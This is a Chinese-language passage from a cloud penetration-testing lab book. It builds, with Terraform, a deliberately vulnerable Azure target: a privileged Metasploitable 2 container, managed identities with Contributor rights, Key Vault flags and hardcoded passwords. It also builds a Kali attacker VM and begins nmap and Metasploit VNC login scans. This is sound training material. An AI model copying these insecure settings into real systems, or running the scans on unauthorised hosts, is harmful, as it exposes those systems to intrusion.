随意向 Key Vault name 值添加随机字符,以确保您的保险库名称在全局范围内是唯一的。一个好的例子是 rg-01-key-vault-a1b2c3d4。当然,为了避免其他读者使用相同的保险库名称,请尝试其他名称!最后,我们还必须更新 target_vm/boot-script.sh 文件中指定的保险库名称。您应该在脚本末尾找到以下行:az keyvault secret set --vault-name rg-01-key-vault --name "flag2" --value "FLAG #** **2!"。
-
让我们也在
target_vm/main.tf文件中定义托管标识:resource "azurerm_user_assigned_identity" "managed_identity" { name = "managed-identity" location = var.rg_location resource_group_name = var.rg_name } -
在
target_vm/main.tf文件中,定义以下数据块。在设置权限和角色分配时将使用这些数据块:data "azurerm_client_config" "current" {} data "azurerm_subscription" "current" {} -
接下来,定义以下角色分配:
resource "azurerm_role_assignment" "role_assignment_01" { scope = ( "/subscriptions/${( data.azurerm_subscription .current .subscription_id )}/resourceGroups/${var.rg_name}" ) role_definition_name = "Contributor"principal_id = ( azurerm_user_assigned_identity .managed_identity .principal_id ) }此角色分配向指定资源组中的用户分配的托管标识授予
Contributor角色。分配Contributor角色意味着托管标识将具有管理指定资源组内资源(例如创建、修改和删除资源)所需的权限。 -
让我们也定义以下角色分配:
resource "azurerm_role_assignment" "role_assignment_02" { scope = ( "/subscriptions/${( data.azurerm_subscription .current .subscription_id )}/resourceGroups/${var.rg_name}" ) role_definition_name = "Contributor"principal_id = ( azurerm_linux_virtual_machine .vm_target .identity[0] .principal_id ) }此角色分配向与指定资源组中的 Azure Linux VM 关联的主体授予
Contributor角色。这意味着该主体将具有管理指定资源组内资源(例如创建、修改和删除资源)所需的权限。
注意
在继续之前,请确保保存了对 target_vm/main.tf 文件所做的更改。
-
当
target_vm/main.tf文件准备就绪时,让我们在编辑器中打开target_vm/outputs.tf文件。将以下代码块添加到target_vm/outputs.tf中,以定义target_vm模块的输出:output "vm_target_private_ip" { value = (azurerm_linux_virtual_machine .vm_target .private_ip_address) } output "vm_target_public_ip" { value = (azurerm_linux_virtual_machine .vm_target .public_ip_address) } output "vm_username" { value = local.vm_username } output "vm_password" { value = local.vm_password }在继续之前,请确保保存了对
target_vm/outputs.tf文件所做的更改。 -
现在,让我们更新
outputs.tf(位于pentest_lab目录中),并使用以下代码块:output "vm_target_private_ip" { value = module.target_vm.vm_target_private_ip } output "vm_target_public_ip" { value = module.target_vm.vm_target_public_ip } output "vm_target_username" { value = module.target_vm.vm_username } output "vm_target_password" { value = module.target_vm.vm_password }确保在继续之前,保存你对
outputs.tf文件(位于~/pentest_lab目录中)所做的更改。 -
让我们更新
target_vm/boot-script.sh文件中指定的 key vaultname值。你应该在脚本的末尾找到以下一行:az keyvault secret set --vault-name rg-01-key-vault --name "flag2" --value "FLAG # 2!"确保你将
rg-01-key-vault替换为在target_vm/main.tf中为azure_rm_key_vault.key_vault资源配置的 vault 名称。 -
让我们运行
terraform plan,以预览 Terraform 将执行的更改:terraform plan运行命令时,我们应该会遇到多个
Missing required** **argument错误。 -
让我们在
main.tf文件(位于pentest_lab目录中)中找到以下代码块:module "target_vm" { source = "./target_vm" }使用以下代码块更新:
module "target_vm" { source = "./target_vm" rg_location = module.secure_network.rg_01_location rg_name = module.secure_network.rg_01_name subnet = module.secure_network.subnet_01 asg = module.secure_network.asg_01 nsg = module.secure_network.nsg_01 }在继续操作之前,确保保存文件。
注意
需要注意的是,与第 4 章 中准备目标虚拟机实例的方式相比,本章的实现没有等待机制。你可以自由使用上一章中的相同技术,并升级当前的实现。
-
让我们运行
terraform plan,以预览 Terraform 将执行的更改:terraform plan
注意
运行此命令可能会产生一些弃用警告。只要我们能够成功运行该命令而没有错误,这应该是可以的。
-
接下来,让我们使用
terraform apply命令来执行更改:terraform apply -auto-approve这应该会输出以下内容:
vm_target_password = "..." vm_target_private_ip = "..." vm_target_public_ip = "..." vm_target_username = "testuser"确保你将输出值复制到本地机器上的文本编辑器中,因为我们将在本章的后续部分使用这些值。
重要说明
确保你更新 Key Vault 的 name 值(在 target_vm/main.tf 中定义),如果遇到类似 VaultAlreadyExists — The vault name ‘rg-01-key-vault’ is already in use. Vault names are globally unique so it is possible that the name is already taken 的错误信息,请修改为未使用的 vault 名称。可以随意向 name 值中添加随机字符,以确保你的 vault 名称在全球范围内唯一(例如,rg-01-key-vault-a1b2c3d4)。
第二部分/2 – 验证我们的目标虚拟机实例设置
按照以下步骤操作:
- 通过以下方式导航到目标虚拟机实例(vm-target)的
Overview面板:(1)在搜索框中输入vm-target,然后(2)从搜索结果中选择 vm-target — 虚拟机。在左侧资源菜单的Help部分,找到并选择Serial console,以打开串行控制台面板。
注意
如果你在加载串行控制台终端时遇到问题,可以简单地关闭 Cloud Shell 并刷新页面(或在新浏览器标签页中打开页面)。
- 按 Enter 键加载
vm-target login提示符。使用vm_target_username(testuser)和vm_target_password(随机生成)输出值进行身份验证并通过串行控制台登录。
注意
如果你无法将 vm_target_username** (**testuser) 和 vm_target_password 输出值复制到本地机器上的文本编辑器中,可以在云终端(~/pentest_lab 目录中)运行 terraform show 命令。
-
让我们从检查 Metasploitable 2 容器是否正在运行开始(在
$后执行以下命令):sudo docker ps如果在运行
sudo docker ps命令后,脆弱的容器没有出现,请耐心等待并在几分钟后重新运行相同的命令。
注意
如果你在设置和配置目标虚拟机实例时遇到问题,只需打开 /var/log/ 目录并使用安装和启动脚本生成的日志进行故障排除。例如,你可以运行 cat /var/log/syslog | grep STEP 来检查目标虚拟机实例内已经执行了 boot-script.sh 脚本文件中的哪些步骤。
-
除此之外,检查我们是否可以使用系统分配的托管标识进行身份验证:
az login --identity这应该返回以下内容:
[ { "environmentName": "AzureCloud", "homeTenantId": "...", "id": "...", "isDefault": true, "managedByTenants": [], "name": "Azure subscription 1", "state": "Enabled", "tenantId": "...", "user": { "assignedIdentityInfo": "MSI", "name": "systemAssignedIdentity", "type": "servicePrincipal" } } ]这意味着我们应该能够在 Azure 中进行身份验证并执行特定操作,而无需(显式地)提供凭据。
-
让我们还验证是否能够列出密钥库:
az keyvault list这应该返回一个类似于我们这里的嵌套 JSON 结构:
[ { "id": "...", "location": "eastus", "name": "rg-01-key-vault", "resourceGroup": "resource-group-01", "tags": {}, "type": "Microsoft.KeyVault/vaults" } ]
重要提示
请注意,您将根据如何在 target_vm/main.tf Terraform 配置文件中配置 azurerm_key_vault.keyvault 资源而获得不同的密钥库名称值。
-
最后,让我们运行以下命令列出存储在
rg-01-key-vault中的所有密钥:az keyvault secret list --vault-name rg-01-key-vault确保用你在上一步运行命令后获取的实际密钥库名称替换
rg-01-key-vault。运行命令应该返回一个仅包含与flag2密钥对应的单一嵌套 JSON 值的列表。
重要提示
如果前一个命令返回了一个空的 [] 值,确保 target_vm/main.tf 和 target_vm/boot-script.sh 文件中指定的密钥库名称相同。更新文件后,可以再次运行 terraform apply 命令,以应用你对这些文件所做的更改并重新构建目标虚拟机实例,这将再次运行 boot-script.sh。为了帮助你进行故障排除和解决问题,你可以删除资源(使用 terraform destroy),然后重新创建资源(使用 terraform apply)。
在这个阶段,你可能已经迫不及待想要探索并攻击目标资源了!由于我们故意将网络环境配置为仅允许 VNet 02 中的资源访问 VNet 01(目标虚拟机实例所在的网络),因此我们必须首先在 VNet 02 中设置攻击者虚拟机实例,才能访问具有设计漏洞的应用程序,并在网络环境中执行渗透测试模拟。
手动设置攻击者虚拟机实例
在我们的对等网络环境已准备好(其中目标资源运行在其中)之后,我们现在可以继续设置我们的 Kali Linux 攻击者。在上一章中,我们逐步进行了攻击者 VM 实例的设置和配置。在本章中,我们将稍作优化,并利用一些脚本进一步加速安装过程。
也就是说,我们将把这一部分分成两部分:
-
第一部分,共 2 部分 – 手动启动并配置 攻击者实例
-
第二部分,共 2 部分 – 验证我们的设置 是否正常工作
第一部分,共 2 部分 – 手动启动并设置攻击者实例
按照以下步骤操作:
-
在搜索栏中输入虚拟机,然后按回车键:
![]()
图 5.10 – 导航到虚拟机页面
从可用选项列表中选择虚拟机以导航到虚拟机页面。
-
在虚拟机页面,点击创建按钮。从下拉菜单中选择Azure 虚拟机。
-
在创建虚拟机页面,在基本选项卡下指定以下配置值:
-
项目详情 > 订阅:使用现有订阅
-
项目详情 > 资源
组:resource-group-02 -
实例详细信息 > 虚拟机
名称:kali-00 -
实例详细信息 > 地区:(美国)
东美国 -
实例详细信息 > 安全性
类型:标准 -
实例详细信息 > 镜像:点击查看所有
镜像链接
-
注意
点击查看所有镜像将把你重定向到选择镜像页面。
-
在选择镜像页面,输入
kali在搜索框中,然后按回车键:![]()
图 5.11 – 选择 Kali Linux 镜像
选择Kali Linux — 最先进的渗透测试发行版。永远是,点击选择按钮,如图 5.11所示。
-
选择Kali 2022.3 – x64 Gen 2(如果有其他更新版本,选择列表中的第一个)。这应该会把你重定向回创建虚拟机页面。
注意
如果你在选择 Kali Linux 镜像并使其在下拉菜单中显示为已选镜像时遇到问题(即使安全性类型配置已经设置为标准),只需刷新页面并重试。请注意,你将需要重新输入虚拟机配置设置。
-
在创建虚拟机页面继续之前的步骤,在基本选项卡下指定以下配置值:
-
管理员账户 > 身份验证
类型:密码 -
管理员账户 > 用户名:
kali_admin -
管理员账户 > 密码:
KaliLinux1234!!! -
管理员账户 > 确认
密码:KaliLinux1234!!! -
入站端口规则 > 公共入站
端口:无
然后点击
Next : Disks >按钮。 -
-
在
Disks标签页下接受默认配置,然后点击Next :** **Networking >。 -
在
Networking标签页下,确保设置了以下配置值:-
虚拟
网络:vnet-02 -
子网:
subnet-02 (192.168.1.0/24) -
NIC 网络安全
组:Advanced -
配置网络安全
组:nsg-02 -
删除公共 IP 和 NIC,当 VM
被删除时:(已选中)
-
-
现在,继续点击
Next按钮直到你到达最后一个标签页。
注意
只需接受Disks、Networking、Management、Monitoring、Advanced、Tags和Review +** **create的默认设置。
-
一旦你到达
Review + create标签页,检查配置详情后点击Create按钮。 -
等待直到你看到部署完成的消息。向下滚动并点击
Go to resource按钮。这样会将你重定向到我们刚刚创建的虚拟机(kali-00)的概览页面。 -
在左侧面板的资源菜单中,找到并选择串行控制台,以打开串行控制台面板。
-
一旦串行控制台加载完毕,按Enter键继续到
kali login:提示符。使用kali_admin作为用户名,KaliLinux1234!!!作为密码继续操作。
注意
如果在提示符前看到一堆问号字符(例如,?????????????????????????kali_admin@kali:~$),请忽略这些额外的字符。
-
通过运行以下命令下载
kali_setup.sh脚本(在$符号后):SCRIPT_URL=`https://bit.ly/kali-desktop-setup` wget -O kali_setup.sh $SCRIPT_URL
注意
请注意,提供的缩短链接仅指向完整的脚本,你可以在gist.githubusercontent.com/joshualat/e01be82543c238d7f0a13f4c33f22802/raw/8b6af622f340cdce14f13260a4ca16678f1dbb50/kali_setup.sh找到该脚本。
-
让我们查看一下
kali_setup.sh中的安装脚本:cat kali_setup.sh这将显示脚本的内容,类似于图 5.12中所示:
![]()
图 5.12 – kali_setup.sh
如果你已经忘记了,这是我们在第四章、在 GCP 上设置隔离渗透测试实验环境中使用的相同一组命令。
-
让我们使用
chmod命令使kali_setup.sh文件可执行:chmod +x kali_setup.sh -
下载
setup_cron_job.sh脚本:SCRIPT_2_URL=`https://bit.ly/setup-cron` wget -O setup_cron_job.sh $SCRIPT_2_URL
注意
请注意,提供的缩短链接仅指向完整的脚本,你可以在gist.githubusercontent.com/joshualat/e01be82543c238d7f0a13f4c33f22802/raw/8b6af622f340cdce14f13260a4ca16678f1dbb50/setup_cron_job.sh找到该脚本。
-
让我们查看一下
setup_cron_job.sh脚本的内容:cat setup_cron_job.sh这应该会显示脚本的内容,类似于图 5**.13中所示:
![]()
图 5.13 – setup_cron_job.sh
这将配置 VNC 服务器和 noVNC 代理,使其在每次系统重启时自动启动。
-
接下来,让我们使用
chmod命令使setup_cron_job.sh脚本可执行:chmod +x setup_cron_job.sh -
一切准备就绪后,让我们运行第一个脚本:
sudo ./kali_setup.sh
注意
此步骤可能需要 20-30 分钟才能完成。在等待时,随意拿一杯咖啡或茶来喝。考虑到脚本需要一段时间才能完成,你不妨顺便拿点小吃吃点!
-
在运行下一组命令之前,让我们快速清理一下屏幕:
clear -
现在,让我们运行
setup_cron_job.sh脚本:sudo ./setup_cron_job.sh -
让我们检查一下是否成功更新了
crontab配置:sudo crontab -l这应该会显示以下输出:
@reboot sleep 60 && /usr/bin/vncserver @reboot sleep 60 && /usr/share/novnc/utils/novnc_proxy --listen 0.0.0.0:8081 --vnc localhost:5901 >/dev/null 2>&1 &在这里,您可以看到我们已经配置了
vncserver和novnc_proxy在 60 秒后运行,以确保系统进程在这些进程启动之前已经准备好。 -
使用以下命令重新启动 VM 实例:
sudo reboot
注意
等待大约 3-5 分钟,直到攻击者 VM 实例重新启动。
第二部分:验证我们的设置是否正常工作
请按照以下步骤操作:
-
一旦串口控制台加载完成,按Enter继续到
kali login:提示符。使用用户名kali_admin和密码KaliLinux1234!!!继续。 -
让我们使用
ps命令快速检查一切是否按计划设置好:ps -ef | grep vnc使用
ps -ef | grep** **vnc命令后,请验证是否看到以下运行中的进程:... bash /usr/share/novnc/utils/novnc_proxy --listen 0.0.0.0:8081 --vnc localhost:5901 ... /usr/bin/perl /usr/bin/vncserver ... /usr/bin/python3 /usr/bin/websockify --web /usr/share/novnc/utils/../ 0.0.0.0:8081 localhost:5901 ...
注意
你可能需要额外等一分钟,直到ps -ef | grep vnc显示此输出。
-
使用左侧窗格中的资源菜单,导航到 VM 实例的概述页面:
![]()
图 5.14 – 获取目标 VM 实例的 Public IP 地址值
复制Public IP 地址值(到剪贴板),如图 5**.14中所示。
-
打开一个新的浏览器标签页,使用
http://<ATTACKER VM PUBLIC IP ADDRESS>:8081/vnc.html网址访问基于网页的 noVNC 客户端。确保将<ATTACKER VM PUBLIC IP ADDRESS>替换为您之前复制到剪贴板的Public IP 地址值:![]()
图 5.15 – noVNC 欢迎屏幕
这将打开一个欢迎屏幕,带有连接按钮,类似于图 5**.15中所示。
重要提示
如果您发现无法访问欢迎屏幕,可能是您的 IP 地址已经发生了变化。只需打开 Cloud Shell 编辑器,更新terraform.tfvars文件。一旦terraform.tfvars文件已更新为您本地机器的新 IP 地址,重新运行terraform apply命令以更新防火墙规则,允许您的新 IP 地址通过。
-
点击连接按钮,然后使用
kali123密码(或之前指定的密码)访问桌面环境,类似于图 5.16所示:![]()
图 5.16 – 在浏览器中访问 Kali Linux 桌面/GUI 环境
一旦我们可以访问桌面环境,就可以基于当前的 VM 实例(kali-00)开始创建 golden 镜像。
注意
在继续下一组步骤之前,可以随时关闭浏览器标签页(Kali Linux 桌面/GUI 环境)。
与在 GCP 中设置 Kali Linux 机器相比,在 Microsoft Azure 中设置类似的 VM 实例所需的步骤更少,因为我们不再需要导入 Kali Linux 通用云镜像。当然,本章是在前一章的基础上进行的,并且使用自动化脚本进一步减少了手动设置攻击者机器时的步骤。
利用 Terraform 自动设置攻击者 VM 实例
上一节主要集中于使用预构建脚本设置攻击者 VM 实例。这是必要的,因为我们将使用此 VM 实例(kali-00)作为参考来创建 golden 镜像。这个 golden 镜像将用于 Terraform 配置文件中,以自动设置攻击者 VM 实例(vm-kali)。
注意
我们创建的原始 VM 实例(kali-00)会发生什么?在用它创建 golden 镜像之后,它会变成通用化的,无法再启动。这意味着,一旦 golden 镜像成功创建,我们将删除原始 VM 实例(kali-00)。
本节分为以下子部分:
-
第一部分,共 3 部分 – 创建 golden 镜像
-
第二部分,共 3 部分 – 删除手动 创建的资源
-
第三部分,共 3 部分 – 准备 Terraform 配置文件
不再多说,开始吧!
第一部分,共 3 部分 – 创建 golden 镜像
按照以下步骤操作:
-
导航到我们 Kali Linux(kali-00)实例的 VM 实例概述页面。
-
找到并点击捕获按钮,将被重定向到创建映像页面。
-
在创建映像页面上,在基础信息标签下指定以下配置值:
-
项目详细信息 > 订阅 > 资源
组:image-resource-group。 -
图库详细信息 > 目标 Azure 计算图库:点击创建新建。在文本框中输入
kali_gallery,然后点击确定按钮。 -
目标 VM 镜像定义:点击创建新建。在VM 镜像定义名称字段中指定
golden-image。保持其他选项不变,然后点击确定按钮以继续创建新的 VM 镜像定义。 -
版本详细信息 > 版本
号:1.0.0。
然后点击下一步 : 标签 >按钮。
-
注意
在创建虚拟机映像定义时,确保记下 发布者、产品 和 SKU 配置值(发布者:kali-linux,产品:kali,SKU:kali)。
-
在 标签 标签下,简单地定位并点击 下一步:审查 +
创建 >。 -
审查配置设置,然后点击 创建 按钮。这将停止正在运行的虚拟机实例,并将你重定向到 部署 页面(在该页面上,你将看到 部署正在进行 的消息)。
注意
该步骤可能需要大约 10-15 分钟才能完成。在等待时,随便泡杯咖啡或茶放松一下!
-
一旦看到 您的部署已完成 成功消息,点击 前往资源 按钮,导航到我们刚刚创建的资源的 概览 面板。
-
定位并点击页面左上角的 JSON 视图 链接(如 图 5.17 所示):
![]()
图 5.17 – 定位 JSON 视图链接
点击 JSON 视图 链接将打开 资源 JSON 面板。点击 复制到剪贴板 按钮,然后将此
id值存储在本地计算机上的文本编辑器中。请注意,id值的格式应类似于以下内容:/subscriptions/.../resourcegroups/image-resource-group/providers/Microsoft.Compute/galleries/kali_gallery/images/golden-image/versions/1.0.0我们将在稍后准备 Terraform 配置文件时使用这个值,以便自动化创建 Kali Linux 服务器。
第二部分,共 3 部分 – 删除手动创建的资源
按照以下步骤操作:
-
通过(1)在搜索栏中输入
kali-00,然后(2)从搜索结果中选择 kali-00 — 虚拟机,导航到 Kali Linux (kali-00) 虚拟机实例的 概览 面板。 -
现在,让我们删除实例。在左侧面板的资源菜单中,找到并点击 概览。在 概览 面板中,点击 删除 按钮。
-
在关联资源列表下,确保在 与虚拟机一起删除 列中尽可能勾选所有三个复选框(操作系统磁盘、网络接口 和 公共 IP 地址)。
-
还需要勾选 我已阅读并理解此虚拟机以及上面列出的任何关联资源将被删除 复选框。
-
然后点击 删除 按钮。
注意
一两分钟后,你应该会看到成功消息,说明资源已成功删除。
第三部分,共 3 部分 – 准备 Terraform 配置文件
按照以下步骤操作:
-
该是再次编写代码的时候了!确保激活并最大化 Cloud Shell 编辑器。
-
在执行接下来的命令之前,确保我们在
pentest_lab目录下:cd ~/pentest_lab -
让我们使用以下命令在
attacker_vm目录中创建main.tf、variables.tf和outputs.tf文件:touch attacker_vm/main.tf touch attacker_vm/variables.tf touch attacker_vm/outputs.tf
注意
当您在使用 Cloud Shell 时遇到问题时,随时可以通过点击Restart Cloud Shell按钮进行重启。重启 Cloud Shell 后,请确保返回到~/pentest_lab目录。如果这样不起作用,您可以注销并重新登录您的 Azure 帐户,以帮助您排除并解决各种问题。
-
接下来,在编辑器中打开
attacker_vm/variables.tf文件,并添加以下代码块以定义source_image_id、asg、nsg、rg_location、rg_name、subnet和my_public_ssh_key变量:variable "source_image_id" { type = string } variable "asg" { type = string } variable "nsg" { type = string } variable "rg_location" { type = string } variable "rg_name" { type = string } variable "subnet" { type = string } variable "my_public_ssh_key" { type = string } -
在编辑器中打开
attacker_vm/main.tf文件,并添加以下代码块以定义攻击者虚拟机实例的公共 IP 地址和网络接口资源:resource "azurerm_public_ip" "public_ip_attacker" { name = "public-ip-attacker" location = var.rg_location resource_group_name = var.rg_name allocation_method = "Dynamic" } resource "azurerm_network_interface" "nic_attacker" { name = "nic-attacker" location = var.rg_location resource_group_name = var.rg_name ip_configuration { name = ( "nic_configuration_attacker" ) subnet_id = var.subnet private_ip_address_allocation = "Dynamic" public_ip_address_id = ( azurerm_public_ip.public_ip_attacker.id ) } } -
接下来,让我们定义以下代码块,以便在攻击者虚拟机实例的网络接口与指定的 NSG 之间建立关联:
resource "azurerm_network_interface_security_group_association" "nsg_assoc_attacker" { network_interface_id = ( azurerm_network_interface .nic_attacker .id ) network_security_group_id = var.nsg } -
接下来,让我们定义以下代码块,以便在攻击者虚拟机实例的网络接口与指定的 ASG 之间建立关联:
resource "azurerm_network_interface_application_security_group_association" "asg_assoc_3" { network_interface_id = ( azurerm_network_interface .nic_attacker .id ) application_security_group_id = var.asg } -
一切准备就绪后,让我们定义并配置攻击者虚拟机实例,它将使用我们之前准备的黄金镜像:
resource "azurerm_linux_virtual_machine" "vm_kali" { name = "vm-kali" location = var.rg_location resource_group_name = var.rg_name size = "Standard_DS1_v2" network_interface_ids = [ azurerm_network_interface.nic_attacker.id ] os_disk { name = "os-disk-kali" caching = "ReadWrite" storage_account_type = "Standard_LRS" } source_image_id = var.source_image_id plan { name = "kali" publisher = "kali-linux" product = "kali" } computer_name = "vm-kali" admin_ssh_key { username = "kali_admin" public_key = var.my_public_ssh_key } admin_username = "kali_admin" admin_password = "KaliLinux1234!!!" disable_password_authentication = false boot_diagnostics { storage_account_uri = null } }在这里,我们允许攻击者的虚拟机实例通过 SSH 密钥进行访问(除了使用用户名和密码访问外)。
注意
在继续下一步之前,请确保保存attacker_vm/main.tf文件。
-
在编辑器中打开
attacker_vm/outputs.tf文件,并添加以下代码行以输出攻击者虚拟机实例的私有和公共 IP 地址:output "vm_kali_private_ip" { value = (azurerm_linux_virtual_machine .vm_kali .private_ip_address) } output "vm_kali_public_ip" { value = (azurerm_linux_virtual_machine .vm_kali .public_ip_address) }这将允许根模块访问这些值,而这些值目前仅能从
attacker_vm模块内访问。 -
最后,让我们在
outputs.tf文件中(位于pentest_lab目录内)定义以下输出:output "vm_kali_private_ip" { value = module.attacker_vm.vm_kali_private_ip } output "vm_kali_public_ip" { value = module.attacker_vm.vm_kali_public_ip }在这里,我们在根模块中定义了两个输出:
vm_kali_private_ip,它是攻击者虚拟机实例的私有 IP 地址,来自attacker_vm模块的输出列表;以及vm_kali_public_ip,它是攻击者虚拟机实例的公共 IP 地址,同样来自attacker_vm模块的输出列表。
注意
由于outputs.tf文件已经定义了输出值,因此请确保追加这些代码块,而不是替换现有的代码块。
-
让我们运行
terraform plan以预览 Terraform 将要执行的更改:terraform plan这应该会给我们带来几个缺少的必需参数错误。
-
为了解决这些问题,接下来让我们在
main.tf文件中找到以下代码块:module "attacker_vm" { source = "./attacker_vm" }让我们将其替换为以下代码块:
module "attacker_vm" { source = "./attacker_vm" my_public_ssh_key = var.my_public_ssh_key source_image_id = var.kali_image_id rg_location = module.secure_network.rg_02_location rg_name = module.secure_network.rg_02_name subnet = module.secure_network.subnet_02 asg = module.secure_network.asg_02 nsg = module.secure_network.nsg_02 }在继续之前,请确保保存您在
main.tf文件中所做的更改。 -
让我们运行
terraform plan以预览 Terraform 将要执行的更改:terraform plan我们将遇到另一个问题,这次是关于我们之前作为占位符指定的
"<INSERT KALI IMAGE ID>"字符串值。 -
为了解决这个问题,让我们打开
terraform.tfvars文件,并将其更新为我们之前创建的黄金镜像的 ID:... kali_image_id = "<INSERT KALI IMAGE ID>" ...如果你想知道这个值是什么样的,
<INSERT KALI IMAGE ID>占位符的值应该具有类似以下格式:/subscriptions/.../resourcegroups/image-resource-group/providers/Microsoft.Compute/galleries/kali_gallery/images/golden-image/versions/1.0.0 -
让我们再次运行
terraform** **plan:terraform plan这次命令应该没有任何错误地完成。
-
接下来,让我们使用
terraform apply命令来实现这些更改:terraform apply -auto-approve这应该会产生以下输出:
... vm_kali_private_ip = "..." vm_kali_public_ip = "..." vm_target_password = "..." vm_target_private_ip = "..." vm_target_public_ip = "..." vm_target_username = "testuser"如果
terraform apply命令运行没有任何错误,我们就可以准备继续下一部分了!
注意
确保将输出值复制到本地机器上的文本编辑器中,因为我们将在本章后续部分中使用这些值。
随时使用你在本章之前下载的 SSH 密钥 (kali-ssh) 访问攻击者虚拟机实例。在使用 chmod 600 kali-ssh 更新 SSH 密钥文件的权限后,你可以运行以下命令,在本地机器和攻击者虚拟机实例之间创建 SSH 隧道:
ssh -L 8081:localhost:8081 -N -i <INSERT KEY NAME> <USER>@<ATTACKER VM IP>
一旦 SSH 隧道设置完成,我们可以通过 http://localhost:8081/vnc.html 访问相同的桌面环境(而不是使用攻击者虚拟机实例的公共 IP 地址)。
注意
需要注意的是,当前的实现并不完美,在处理其他场景(如虚拟机实例重启以及容器重启)之前,还需要进行一些额外的调整和升级。可以随时利用并结合上一章中使用的一些技巧,进一步提升我们在 Azure 环境中运行的功能。
现在我们已经准备好一切,可以继续在我们的实验室环境中模拟一次渗透测试。
在隔离网络环境中模拟渗透测试
由于我们在 Microsoft Azure 中的实验环境已经成功设置,我们现在可以继续进行简化的渗透测试模拟,以验证一切是否(错误地)配置正确。与上一章相比,本章中的渗透测试模拟会稍微长一些,因为我们正在处理一个相对更复杂的设置:

图 5.18 – 渗透测试模拟
我们的模拟从攻破运行在虚拟机实例中的Metasploitable 2 容器开始。鉴于这个运行中的容器已配置了启用 --privileged 标志,我们可以使用容器突破技术逃离容器环境,并访问主机系统,在那里我们将找到第一个标志。接着,我们将利用分配给虚拟机实例的系统分配的托管身份,访问 Azure 密钥库,在那里我们将找到第二个标志。
在我们的渗透测试模拟中,我们将使用Metasploit——一个广泛认可的渗透测试框架,安全专家普遍使用它。我们将使用名为msfconsole的 Metasploit 框架交互式命令行界面。这个命令行界面允许我们执行任务,如搜索漏洞、利用系统、进行侦察、管理会话,以及启动各种与安全相关的模块和利用工具。使用它通常涉及以下几个步骤:
-
在终端中运行
msfconsole命令启动交互式控制台。 -
从 Metasploit 提供的全面模块集合中识别和选择一个模块(例如,利用模块)。
-
通过调整其参数和设置来配置该模块。
-
运行该模块。
-
探索并使用其他模块进行后续的后渗透行动。
请注意,这是一种简化的方式来描述如何使用msfconsole,因为 Metasploit 框架内有各种高级功能、模块和配置。根据场景,可以利用msfconsole中的额外选项,如辅助模块、后渗透技术、脚本功能,以及与外部工具的集成。如果你以前没有使用过 Metasploit,不用担心——本节中的逐步指南将帮助你利用这个框架和其他工具与技术来验证我们的实验环境是否被(错误)配置正确。
我们将把这一部分分成四个子部分:
-
第一部分 / 4 – 使用 Nmap 进行扫描
-
第二部分 / 4 – 使用 Metasploit 的 VNC 登录扫描器模块
-
第三部分 / 4 – 从 容器中突破
-
第四部分 / 4 – 定位 旗标
重要提示
攻击另一个用户或公司拥有的云资源是违背道德和非法的。在继续之前,请确保你已经阅读了《在云中构建渗透测试实验环境时的注意事项》部分,来自《云中渗透测试实验入门》的第一章,因为我们将模拟攻击过程,以验证目标虚拟机实例中运行的应用程序和服务中的配置错误和漏洞是否可以被利用。
考虑到这些,我们现在可以开始渗透测试模拟。
第一部分 / 4 – 使用 Nmap 进行扫描
按照以下步骤操作:
-
让我们打开一个新的浏览器标签页,使用以下网址访问桌面环境:
http://<ATTACKER VM PUBLIC IP ADDRESS>:8081/vnc.html确保你将
<ATTACKER VM PUBLIC IP ADDRESS>替换为运行terraform** **apply命令后得到的vm_kali_public_ip输出值:![]()
图 5.19 – noVNC 欢迎界面
这应该会打开一个带有连接按钮的欢迎界面,类似于图 5.19中的内容。
重要提示
如果你无法访问欢迎界面,可能是你的 IP 地址已经发生变化。只需更新 terraform.tfvars 文件,然后再次运行 terraform apply 命令,以更新防火墙规则,允许你的新 IP 地址通过。
-
点击 连接 按钮,然后使用
kali123密码(或本章之前指定的密码)访问桌面环境,类似于 图 5.20 中的操作:![]()
图 5.20 – 在浏览器中访问 Kali Linux 桌面/GUI 环境
一旦我们能够访问桌面环境,就可以执行各种任务并访问 Kali Linux 中广泛的工具和实用程序(类似于我们在本地计算机上使用它的方式)。
-
通过点击 图 5.21 中高亮的图标,打开 Kali Linux 实例中的终端窗口:
![]()
图 5.21 – 打开终端窗口
这应该会打开一个终端窗口,我们可以在
$符号后运行命令。 -
将
TARGET_IP变量的值设置为目标虚拟机的私有 IP 地址:TARGET_IP=<PRIVATE IP ADDRESS OF TARGET VM>确保将 <目标虚拟机的私有 IP 地址> 替换为目标虚拟机实例的私有 IP 地址(例如,10.0.1.4)。
注意
请注意,目标虚拟机的私有 IP 地址可能会有所不同。可以通过在 Cloud Shell 终端中的 ~/pentest_lab 目录下运行 terraform output 来检查 Terraform 输出值 (vm_target_private_ip)。
-
让我们首先运行以下命令:
nmap --top-ports 1000 $TARGET_IP这应该会生成一个扫描报告,类似于 图 5.22 中的结果:
![]()
图 5.22 – 再次运行 nmap 命令后的结果
刚刚发生了什么? 在这里,我们使用 Nmap 检查并扫描了目标虚拟机实例上的开放端口。为了快速检查开放端口,我们在运行 Nmap 时使用了
--top-ports选项。这样,我们可以在短短几秒钟内获得(非详尽的)扫描结果:![]()
图 5.23 – 使用 Nmap 扫描开放端口
由于我们将容器的一些端口映射到虚拟机,因此实际上我们也在使用 Nmap 扫描和检查 Metasploitable 2 容器内运行的服务。
注意
可以随时查看我们用于配置目标虚拟机实例 (vm-target) 的启动脚本,详细信息请见:github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/blob/main/ch05/pentest_lab/target_vm/boot-script.sh。
-
接下来,让我们运行相同的命令,但这次启用
-sV(服务版本检测)和-sV(TCP SYN 扫描)标志:nmap --top-ports 1000 -sV -sS $TARGET_IP这应该会生成一个扫描报告,类似于 图 5.24 中的结果:
![]()
图 5.24 – 再次运行 nmap 命令后的结果
在这里,我们可以看到,启用
-sV和-sS标志后,我们可以确定目标虚拟机实例中每个端口上运行的服务的特征(例如版本或指纹)。
注意
此步骤可能需要大约 4-10 分钟才能完成。在等待时,不妨喝杯咖啡或茶!
第二部分 共 4 部分 – 使用 Metasploit 的 VNC 登录扫描器模块
请按照以下步骤操作:
-
在前一组步骤中,我们使用 Nmap 来识别打开的端口以及每个端口上运行的服务。虽然有多个端口处于开放状态,但我们将重点关注端口
5900,并使用 Metasploit 的 VNC 登录辅助扫描器模块,尝试使用不同的用户名和密码组合进行身份验证:![]()
图 5.25 – 使用 VNC 登录辅助扫描器进行身份验证
使用扫描器,我们将检查是否使用弱密码或默认凭证来访问正在运行的 VNC 服务器进程(应用程序)。现在我们更好地理解了 VNC 登录辅助扫描器的工作原理,让我们执行以下命令:
